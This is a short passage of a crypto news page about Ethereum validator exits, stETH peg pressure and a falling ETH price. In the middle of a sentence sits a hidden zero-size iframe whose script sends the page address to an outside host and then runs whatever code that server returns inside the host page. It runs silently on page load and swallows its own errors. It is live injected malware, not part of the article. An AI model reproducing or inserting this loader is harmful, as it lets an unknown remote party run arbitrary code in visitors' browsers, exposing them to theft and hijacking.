DeFi

Ethereum unstaking by validators led to short-term sell pressure with analysts saying the moves likely reflect restaking and operator rotation rather than fear-driven exits. 10x Research attributed the pullback to the unwinding of leveraged DeFi positions, which destabilized the stETH peg. Ethereum (ETH) price has come under selling pressure, dipping over 5% earlier today and<div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Ethereum Faces Pressure as Validator Exit Queue Surges to $2.3B

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